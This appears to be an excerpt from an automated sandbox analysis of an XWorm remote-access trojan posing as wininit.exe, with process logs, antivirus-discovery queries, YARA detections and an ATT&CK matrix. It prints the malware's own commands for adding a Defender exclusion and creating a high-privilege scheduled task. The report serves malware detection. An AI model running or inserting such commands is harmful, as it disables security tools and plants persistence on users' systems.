Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wininit" /tr "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\wininit.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\wininit.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\wininit.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: wininit.exe, 00000005.00000002.3277474084.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, wininit.exe, 00000005.00000002.3290024067.000000001B67C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 5.0.wininit.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.wininit.exe.27df820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.wininit.exe.27df820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3282808526.0000000002711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\wininit.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 5.0.wininit.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.wininit.exe.27df820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.wininit.exe.27df820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3282808526.0000000002711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\wininit.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 BITS Jobs	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	34 System Information Discovery	Remote Desktop Protocol	1 Email Collection	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Obfuscated Files or Information	Security Account Manager	551 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	161 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	161 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 BITS Jobs	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
